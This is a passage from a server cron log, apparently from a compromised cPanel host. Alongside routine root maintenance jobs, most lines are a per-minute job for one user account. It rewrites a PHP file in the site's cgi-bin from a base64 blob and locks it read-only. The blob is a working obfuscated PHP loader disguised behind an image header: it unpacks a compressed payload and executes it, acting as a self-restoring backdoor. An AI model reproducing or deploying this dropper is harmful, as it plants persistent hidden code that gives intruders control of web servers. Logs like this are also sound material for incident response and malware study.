"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:12:01 server CROND[6296]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 14:13:01 server CROND[6402]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:14:01 server CROND[6466]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:15:01 server CROND[6620]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 11 14:15:01 server CROND[6623]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 14:15:01 server CROND[6621]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 14:15:01 server CROND[6624]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:16:01 server CROND[6744]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:17:01 server CROND[6821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:18:01 server CROND[6883]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:19:01 server CROND[6948]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:20:01 server CROND[7008]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 14:20:01 server CROND[7009]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 14:20:01 server CROND[7010]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 14:20:01 server CROND[7011]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 14:20:01 server CROND[7014]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:21:01 server CROND[7233]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:22:01 server CROND[7295]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:23:01 server CROND[7352]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:24:01 server CROND[7415]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:25:01 server CROND[7487]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 11 14:25:01 server CROND[7486]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG